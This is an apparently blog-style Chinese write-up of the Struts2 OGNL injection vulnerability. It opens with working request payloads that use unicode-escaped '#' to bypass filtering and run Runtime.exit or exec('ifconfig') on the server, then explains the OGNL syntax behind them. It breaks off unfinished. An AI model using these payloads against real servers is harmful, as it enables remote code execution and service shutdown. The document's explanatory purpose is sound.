?('\u0023_memberAccess[\'allowStaticMethodAccess\']')
(meh)=true&(aaa)
(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')
(\u0023foo\u003dnew%20java.lang.Boolean("false")))
&(asdf)
(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true
&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new java.lang.Boolean("false")))
&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exit(1);
----------------------------------------------------------------
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true
&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
&(asdf)(('\u0023rt.exec("ifconfig")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
OGNL处理时最终的结果就是
java.lang.Runtime.getRuntime().exec("ifconfig")
以上为struts2.1.2版本洗一下的一个漏洞。首先铺垫一下,上面代码执行结果为停掉当前运行的容器,getRuntime().exit(1);退出。
首先这个漏洞出现是因为OGNL 的用法。
简单的介绍一下ognl概念去看百科吧,说一下用法:
OGNL的方法调用:
OGNL是在运行时调用方法的,这使得它无法做强制的类型检查,OGNL会去检索一个和它方法的各个参数最接近的一个方法进行使用,
如果有多个方法满足这个条件,那么OGNL将任意调用其中的一个.(NULL和所有原始类型匹配,所以最有可能返回一个出乎意料的调用).
OGNL也支持new object()的方法,产生一个新的对象,但是除了在java.lang包里的对象外,必须指明对象所在包的全名.
OGNL支持直接调用类的静态方法.@class@method(args)
eg:@abs(-12.345);
@Java.lang.Math@floor(3.25);
@Java.lang.Math@Sqrt(4);
OGNL操作集合
1操作列表Lists
OGNL中Person in {"chinese", "japanese", '"Amercian"}
2 操作映射
OGNL中#{"foo" : "foovalue", "bar" : "barvalue"}
OGNL有一个简化变量机制(在变量前加符号#),所有OGNL变量在整个表达式里是全局的。
eg:#var
#var = 99
listeners.size().( #this > 100 ? 2 * #this : 20 + #this ) 调用listeners的size()并与100比较,
#this为size的值,如果大于100则是返回两倍的size值。
可以这样创建一个Map:
#{“foo”: “foo value”, “bar”: “bar value” }
#@java.util.LinkedHashMap@{“foo”: “foo value”, “bar”: “bar value” }
OGNL 上下文变量
#application
#session
#request
#parameters
#attr
以上各值分别对应应用程序的不同层次的值,为了达到程序不被恶意修改在xwork包 com.opensymphony.xwork2.interceptor.PrepareInterceptor类中对#号进行了过滤。
但没有过滤java中的unicode码,#的是\u0023
(未完待续。。)
我们有的时候等的不是机会,而是时间,等时间让我们自己改变。